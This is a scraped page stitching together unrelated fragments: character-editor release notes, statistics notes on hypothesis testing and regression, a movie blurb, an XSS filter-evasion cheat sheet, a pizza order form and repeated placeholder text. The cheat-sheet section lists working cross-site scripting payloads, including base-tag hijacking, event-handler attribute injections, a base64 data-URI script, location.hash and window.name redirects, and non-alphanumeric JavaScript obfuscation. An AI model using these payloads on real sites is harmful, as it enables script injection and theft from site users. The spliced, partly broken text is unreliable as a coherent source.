- ~target.ifMale()~ can be used to conditionally output text based on the character's gender. (e.g. "~target.ifMale(he|she)~ lost again? What a loser.")
- Added ability to search for markers instead of text when using Ctrl+F.
- Added a Clothing > Category condition to test for a clothing's generic category as described above.
Recipes
- Recipes are now read from the tools/character_editor/recipes folder. This will allow the community to build a shared repository of recipes without having to package them with new editor releases.
- Going forward, any recipes used will be tracked with a checkmark when adding a recipe so that you know which ones you've already used.
Epilogues
- Collapse All and Expand All buttons have been added to the Scene Explorer.
Collectibles
- The collectible limit is now enforced (1 free collectible plus 1 per 600 lines of dialogue).
Pose Lists
You can now leave a stage empty and it will skip that stage when creating the pose list. This effectively allows for making partial templates (ex. one template for stages 1-5, and another template for stage 6-8).
Settings
- Hide Preview Images has been moved to a new Sidebar settings tab.
- Show Text option has been moved to the Sidebar settings tab.
- An option to disable preview text formatting has been added to the Sidebar settings tab. Unchecking this will display text without italics formatted like the editor would pre-5.4.
Bug Fixes
- Fixed issue where a character's gender could not be changed in the metadata after saving once.
- Status attribute is no longer dropped from costume elements in meta.xml
- Fixed issue where a variable test on a boolean background property (e.g. ~background.dark~) would always revert to false when coming back to the case.
- Fixed crash when opening the dialogue row after deleting a row from the wardrobe grid.
- Speech bubbles with long text fit better now.


testing
Contents
4.3. testing#
wonderful summarizing blog post
4.3.1. basics#
data snooping - decide which hypotheses to test after examining data
null hypothesis \(H_0\) vs alternative hypothesis \(H_1\)
types
simple hypothesis \(\theta = \theta_0\)
composite hypothesis \(\theta > \theta_0\) or \(\theta < \theta_0\)
two-sided test: \(H_0: \theta = \theta_0 \: vs. \: H_1 \theta \neq \theta_0\)
one-sided test: \(H_0: \theta \leq \theta_0 \: vs. \: H_1: \theta > \theta_0\)
significance levels
stat. significant: p = 0.05
highly stat. significant: p = 0.01
errors
\(\alpha\) - type 1 - reject \(H_0\) but \(H_0\) true
\(\beta\) - type 2 - fail to reject \(H_0\) but \(H_0\) false
p-value = probability, calculated assuming that the null hypothesis is true, of obtaining a value of the test statistic at least as contradictory to \(H_0\) as the value calculated from the available sample
power: \(1 - \beta\)
adjustments
bonferroni procedure - we are doing 3 tests with 5% confidence, so we actually do 5/3% for each test in order to restrict everything to 5% total
Benjamini–Hochberg procedure - controls for false discovery rate
note: ranking is often more important than actual FDR control (because we just need to know what experiments to do)
4.3.2. gaussian theory#
normal theory: assume \(\epsilon_i\) ~ \(N(0, \sigma^2)\)
distributions
suppose \(Z_1, ..., Z_n\) ~ iid N(0, 1)
chi-squared: \(\chi_d^2\) ~ \(\sum_i^d U_i^2\) w/ d degrees of freedom
\((d-1)S^2/\sigma^2 \text{ proportional to } \chi_{d-1}^2\)
student’s t: \(U_{d+1} / \sqrt{d^{-1} \sum_1^d U_i^2}\) w/ d degress of freedom
t-test: test if mean is nonzero
test null \(\theta_k=0\) w/ \(t = \hat{\theta}_k / \hat{SE}\) where \(SE = \hat{\sigma} \cdot \sqrt{\Sigma_{kk}^{-1}}\)
t-test: reject if |t| is large
when n-p is large, t-test is called the z-test
under null hypothesis t follows t-distr with n-p degrees of freedom
here, \(\hat{\theta}\) has a normal distr. with mean \(\theta\) and cov matrix \(\sigma^2 (X^TX)^{-1}\)
e independent of \(\hat{\theta}\) and \(\|\|e\|\|^2 ~ \sigma^2 \chi^2_d\) with d = n-p
observed stat. significance level = P-value - area of normal curve beyond \(\pm \hat{\theta_k} / \hat{SE}\)
if 2 vars are statistically significant, said to have independent effects on Y
f-test: test if any of non-zero means
null hypothesis: \(\theta_i = 0, i=p-p_0, ..., p\)
alternative hypothesis: for at least one \( i \in \{p-p_0, ..., p\}, \: \theta_i \neq 0\)
\(F = \frac{(\|\|X\hat{\theta}\|\|^2 - \|\|X\hat{\theta}^{(s)}\|\|^2) / p_0}{\|\|e\|\|^2 / (n-p)} \) where \(\hat{\theta^{(s)}}\) has last \(p_0\) entries 0
under null hypothesis, \(\|\|X\hat{\theta}\|\|^2 - \|\|X\hat{\theta}^{(s)}\|\|^2\) ~ \(U\), \(\|\|e\|\|^2\) ~ \(V\), \(F\) ~ \(\frac{U/p_0}{V/(n-p)}\) where \( U \: indep \: V\), \(U\) ~ \(\sigma^2 \chi^2_{p_0}\), \(V\) ~ \(\sigma^2 \chi_{n-p}^2\)
there is also a partial f-test
4.3.3. statistical intervals#
interval estimates come with confidence levels
\(Z=\frac{\bar{X}-\mu}{\sigma / \sqrt{n}}\)
For p not close to 0.5, use Wilson score confidence interval (has extra terms)
confidence interval - if multiple samples of trained typists were selected and an interval constructed for each sample mean, 95 percent of these intervals contain the true preferred keyboard height
frequentist idea
4.3.4. tests on hypotheses#
Var(\(\bar{X}-\bar{Y})=\frac{\sigma_1^2}{m}+\frac{\sigma_2^2}{n}\)
tail refers to the side we reject (e.g. upper-tailed=\(H_a:\theta>\theta_0\)
we try to make the null hypothesis a statement of equality
upper-tailed - reject large values
\(\alpha\) is computed using the probability distribution of the test statistic when \(H_0\) is true, whereas determination of b requires knowing the test statistic distribution when \(H_0\) is false
type 1 error usually more serious, pick \(\alpha\) level, then constrain \(\beta\)
can standardize values and test these instead
4.3.5. testing LR coefficients#
confidence interval construction
confidence interval (CI) is range of values likely to include true value of a parameter of interest
confidence level (CL) - probability that the procedure used to determine CI will provide an interval that covers the value of the parameter - if we remade it 100 times, 95 would contain the true \(\theta_1\)
\(\hat{\beta_0} \pm t_{n-2,\alpha /2} * s.e.(\hat{\beta_0}) \)
for \(\beta_1\)
with known \(\sigma\)
\(\frac{\hat{\beta_1}-\beta_1}{\sigma(\hat{\beta_1})} \sim N(0,1)\)
derive CI
with unknown \(\sigma\)
\(\frac{\hat{\beta_1}-\beta_1}{s(\hat{\beta_1})} \sim t_{n-2}\)
derive CI
4.3.6. ANOVA (analysis of variance)#
y - called dependent, response variable
x - independent, explanatory, predictor variable
notation: \(E(Y\|x^*) = \mu_{Y\cdot x^*} = \) mean value of Y when x = \(x^*\)
Y = f(x) + \(\epsilon\)
linear: \(Y=\beta_0+\beta_1 x+\epsilon\)
logistic: \(odds = \frac{p(x)}{1-p(x)}=e^{\beta_0+\beta_1 x+\epsilon}\)
we minimize least squares: \(SSE = \sum_{i=1}^n (y_i-(b_0+b_1x_i))^2\)
\(b_1=\hat{\beta_1}=\frac{\sum (x_i-\bar{x})(y_i-\bar{y})}{\sum (x_i-\bar{x})^2} = \frac{S_{xy}}{S_{xx}}\)
\(b_0=\bar{y}-\hat{\beta_1}\bar{x}\)
\(S_{xy}=\sum x_iy_i-\frac{(\sum x_i)(\sum y_i)}{n}\)
\(S_{xx}=\sum x_i^2 - \frac{(\sum x_i)^2}{n}\)
residuals: \(y_i-\hat{y_i}\)
SSE = \(\sum y_i^2 - \hat{\beta}_0 \sum y_i - \hat{\beta}_1 \sum x_iy_i\)
SST = total sum of squares = \(S_{yy} = \sum (y_i-\bar{y})^2 = \sum y_i^2 - (\sum y_i)^2/n\)
\(r^2 = 1-\frac{SSE}{SST}=\frac{SSR}{SST}\) - proportion of observed variation that can be explained by regression
\(\hat{\sigma}^2 = \frac{SSE}{n-2}\)
\(T=\frac{\hat{\beta}_1-\beta_1}{S / \sqrt{S_{xx}}}\) has a t distr. with n-2 df
\(s_{\hat{\beta_1}}=\frac{s}{\sqrt{S_{xx}}}\)
\(s_{\hat{\beta_0}+\hat{\beta_1}x^*} = s\sqrt{\frac{1}{n}+\frac{(x^*-\bar{x})^2}{S_{xx}}}\)
sample correlation coefficient \(r = \frac{S_{xy}}{\sqrt{S_xx}\sqrt{S_{yy}}}\)
this is a point estimate for population correlation coefficient = \(\frac{Cov(X,Y)}{\sigma_X\sigma_Y}\)
make fisher transformation - this test statistic also tests correlation
degrees of freedom
one-sample T = n-1
T procedures with paired data - n-1
T procedures for 2 independent populations - use formula ~= smaller of n1-1 and n2-1
variance - n-2
use z-test if you know the standard deviation—


The Reader
The Reader is a movie starring Kate Winslet, Ralph Fiennes, and Bruno Ganz. Post-WWII Germany: Nearly a decade after his affair with an older woman came to a mysterious end, law student Michael Berg re-encounters his former lover as...


Element Hijacking
Consider source:
<!DOCTYPE html>

<a href="http://<IP_ADDRESS>/?q=brute">link

Try: http://brutelogic.com.br/tests/short.php?q=<base
This inserts a '<base' tag to take over the  link and sets the base URL to something we control
<!DOCTYPE html>

<base
<a href="http://<IP_ADDRESS>/?q=<base">link

Then you just need to setup a response on your controlled URL
Spell Checker
Some sites offer spell checking as a feature of their search functionality or translation application. While this might be a good idea from an user perspective, it can also be a bad idea for one who is trying to avoid XSS in his/her code. Developer got a “but report”.
Fake Injections
Almost any = sign on a webpage can be neutered with a suitable "trigger string"
– Easiest candidate is something of the form:
– ' * *ANYTHING* . *ANYTHING* =
– Start with target equal sign, find previous period, and then previous quote
Append trigger string to URL:
– &fake='>anything.anything=
If site is using filtering and changing = to #, this can allow an attribute value to be parsed as a new name/value
Need to control the value of an HTML attribute
x style=x:expression(alert(0)) x
x/style=x:expression(alert(0));x:
x onerror=alert(0) x
x/onerror=alert(0)//
x onmouseover=location=name x
x/onmouseover=location=name//
x onmouseover=eval(name) x
x/onmouseover=eval(name)//
URLs make you vulnerable

After filter:

text/xml-xhtml
Content served as text/xml and text/xml-xhtml can execute JavaScript by using html and xhtml namespaces
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert('xss');</x:script>
data:text/html and data:text/html;base64
data:text/html,
data:text/html;base64, PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg==
location=name;
location='javascript:alert(0)';
Victim is not actually redirected anywhere so it can be transparent
name = window.name
Downside: attacker controlled website must be involved
Downside: persistent XSS is demoted to reflective XSS
location=location.hash.slice(1); //avoid the #
http://victim.com/?param=";location=location.hash)//#0={};alert(0)
location=location.hash //FF only
Payload comes after hash in URL
Victim website does not see true payload
No parenthesis in second one
In FireFox, you can incorporate the hash symbol as a sharp variable, #0={}
slice() and location.string
eval(document.referrer.slice(10));- When attacker controls referrer page
eval(0+location.string) //or 1+location.string- Use a ternary operator along with fake GET paramaters, e.g.
- 0?fake1=1/*&id=42&name=";eval(1+location.string);"&lang=EN&fake2=*/:alert(0)
References references
É=[Å=[],µ=!Å+Å][µ[È=-~-~++Å]+({}+Å) [Ç=!!Å+µ,ª=Ç[Å]+Ç[+!Å],Å]+ª])() [µ[Å]+µ[Å+Å]+Ç[È]+ª](Å)
($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)
what, you don't see the alert(1) in there?
no alphanumeric characters, can execute arbitrary JavaScript
kudos to Yosuke Hasegawa
This is similar to obfuscation done in PHP shells section
HTML5 allows attributes in closing tags too

Eating chars

Some decoding will transform to:-  allowing xss


KSH 1170
order now
executive Bacon-sauce pizza
KSH 1080
Enter your pizza size
Enter all pizza toppings all that applys.


Far far away, behind the word mountains, far from the countries Vokalia, there live the blind texts. Separated they live in Bookmarksgrove right at the coast of the Semantics, a large language ocean.
Far far away, behind the word mountains, far from the countries Vokalia, there live the blind texts. Separated they live in Bookmarksgrove right at the coast of the Semantics, a large language ocean.
Far far away, behind the word mountains, far from the countries Vokalia, there live the blind texts. Separated they live in Bookmarksgrove right at the coast of the Semantics, a large language ocean.
Even the all-powerful Pointing has no control about the blind texts it is an almost unorthographic life One day however a small line of blind text by the name of Lorem Ipsum decided to leave foor the far World of Grammer.
A small river named Duden flows by their place and supplies it with the necessary regelialia. It is a paradismetic country in which roadsted parts of sentenses fly into your mouth.
A small river named Duden flows by their place and supplies it with the necessary regelialia. It is a paradismetic country in which roadsted parts of sentenses fly into your mouth.
A small river named Duden flows by their place and supplies it with the necessary regelialia. It is a paradismetic country in which roadsted parts of sentenses fly into your mouth.
A small river named Duden flows by their place and supplies it with the necessary regelialia. It is a paradismetic country in which roadsted parts of sentenses fly into your mouth.
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<EMAIL_ADDRESS>+30 976 1382 9921
+30 976 1382 9922
San Francisco, CA